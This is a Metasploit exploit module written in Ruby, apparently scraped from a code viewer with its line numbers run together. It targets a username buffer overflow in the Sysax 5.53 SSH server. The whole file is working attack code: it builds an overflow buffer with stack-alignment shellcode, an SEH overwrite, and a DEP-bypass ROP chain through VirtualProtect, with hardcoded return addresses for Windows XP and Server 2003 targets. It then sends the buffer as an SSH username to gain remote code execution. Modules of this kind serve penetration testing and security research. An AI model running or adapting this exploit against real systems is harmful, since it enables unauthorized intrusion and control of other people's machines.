1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 |
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info={}) super(update_info(info, 'Name' => "Sysax 5.53 SSH Username Buffer Overflow", 'Description'=> %q{ This module exploits a vulnerability found in Sysax's SSH service.By supplying a long username, the SSH server will copy that data on the stack without any proper bounds checking, therefore allowing remote code execution under the context of the user.Please note that previous versions (before 5.53) are also affected by this bug. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Craig Freyman',#Initial discovery, PoC 'sinn3r'#Metasploit ], 'References' => [ ['OSVDB', '79689'], ['URL', 'http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html'], ['URL', 'http://www.exploit-db.com/exploits/18535/'] ], 'Payload'=> { 'Space' => 1024, 'BadChars'=> "\x00\x3a", 'StackAdjustment' => -3500 }, 'DefaultOptions'=> { 'ExitFunction' => "seh" }, 'Platform' => 'win', 'Targets'=> [ [ 'Sysax 5.53 on Win XP SP3 / Win2k3 SP0', { 'Rop' => false, 'Ret' => 0x00402669# POP/POP/RET - sysaxservd.exe } ], [ 'Sysax 5.53 on Win2K3 SP1/SP2', { 'Rop' => true, 'Ret' => 0x0046d23c# ADD ESP, 0F8C # RETN } ] ], 'Privileged' => false, 'DisclosureDate' => "Feb 27 2012", 'DefaultTarget'=> 0)) register_options( [ OptInt.new('RPORT', [false, 'The target port', 22]) ], self.class) end def load_netssh begin require 'net/ssh' return true rescue LoadError return false end end def get_regular_exploit # # Align the stack to the beginning of the fixed size payload # align= "\x54"#PUSH ESP align << "\x58"#POP EAX align << "\x04\x08"#ADD AL,0x08 align << "\x8b\x18"#MOV EBX, [EAX] align << "\x93"#XCHG EAX,EBX align << "\x66\x2d\x10\x04"#SUB AX,0x361 align << "\x50"#PUSH EAX align << "\xc3"#RET # # Our payload limited to 1024+4 bytes # p = make_nops(4) p << payload.encoded # # Craft the buffer like this: # [392 bytes][20 bytes][< 9404 bytes][payload][alignment][nseh][seh] # * The 20-byte region is where our source IP is written. 20 bytes gives it enough room # for the IP length, so the next 9404-byte space will begin at a consistent place. # * After SEH, we have ~1860 bytes, but we don't need that because we're doing a # partial-overwrite to allow a null byte in SEH. # buf= '' buf << rand_text(392, payload_badchars) buf << rand_text(20, payload_badchars) buf << rand_text(9204-buf.length-align.length-p.length, payload_badchars) #8796+392+20 buf << p buf << align buf << "\xeb" + [0-align.length-2].pack('c') + make_nops(2) #Short jmp back buf << [target.ret].pack('V*') return buf end def get_rop_exploit junk = rand_text(4).unpack("L")[0].to_i nop= make_nops(4).unpack("L")[0].to_i # !mona rop -m msvcrt p = [ 0x77bb2563, # POP EAX # RETN 0x77ba1114, # <- *&VirtualProtect() 0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN junk, 0x77bb0c86, # XCHG EAX,ESI # RETN 0x77bc9801, # POP EBP # RETN 0x77be2265, # ptr to 'push esp #ret' 0x77bb2563, # POP EAX # RETN 0x03C0990F, 0x77bdd441, # SUB EAX, 03c0940f 0x77bb48d3, # POP EBX, RET 0x77bf21e0, # .data 0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN 0x77bbfc02, # POP ECX # RETN 0x77bef001, # W pointer (lpOldProtect) (-> ecx) 0x77bd8c04, # POP EDI # RETN 0x77bd8c05, # ROP NOP (-> edi) 0x77bb2563, # POP EAX # RETN 0x03c0984f, 0x77bdd441, # SUB EAX, 03c0940f 0x77bb8285, # XCHG EAX,EDX # RETN 0x77bb2563, # POP EAX # RETN nop, 0x77be6591, # PUSHAD # ADD AL,0EF # RETN ].pack("V*") p << payload.encoded # # Similar buffer structure to get_regular_exploit # buf= '' buf << rand_text(392, payload_badchars) buf << rand_text(20, payload_badchars) buf << rand_text(1012, payload_badchars) buf << p buf << rand_text(9204-buf.length) buf << rand_text(4, payload_badchars) buf << [target.ret].pack('V*') return buf end def exploit # # Load net/ssh so we can talk the SSH protocol # has_netssh = load_netssh if not has_netssh print_error("You don't have net/ssh installed.Please run gem install net-ssh") return end # # Create buffer based on target (DEP or no DEP) # If possible, we still prefer to use the regular version because it's more stable # if target['Rop'] buf = get_rop_exploit else buf = get_regular_exploit end # # Send the malicious buffer # pass = rand_text_alpha(8) begin print_status("Sending malicious request to #{rhost}:#{rport}...") ssh = Net::SSH.start( datastore['RHOST'], buf, { :password=> pass, :port=> datastore['RPORT'], :timeout => 1 }) ::Timeout.timeout(1) {ssh.close} rescue nil rescue Errno::ECONNREFUSED print_error("Cannot establish a connection on #{rhost}:#{rport}") return rescue ::Exception => e if e.message =~ /fingerprint [0-9a-z\:]+ does not match/ print_error("Please remove #{rhost}:#{rport} from your known_hosts list") return end end handler(ssh) end end =begin Todo: We seriously need a MSF SSH mixin to handle the SSH protocol ourselves, not relying on net/ssh. =end |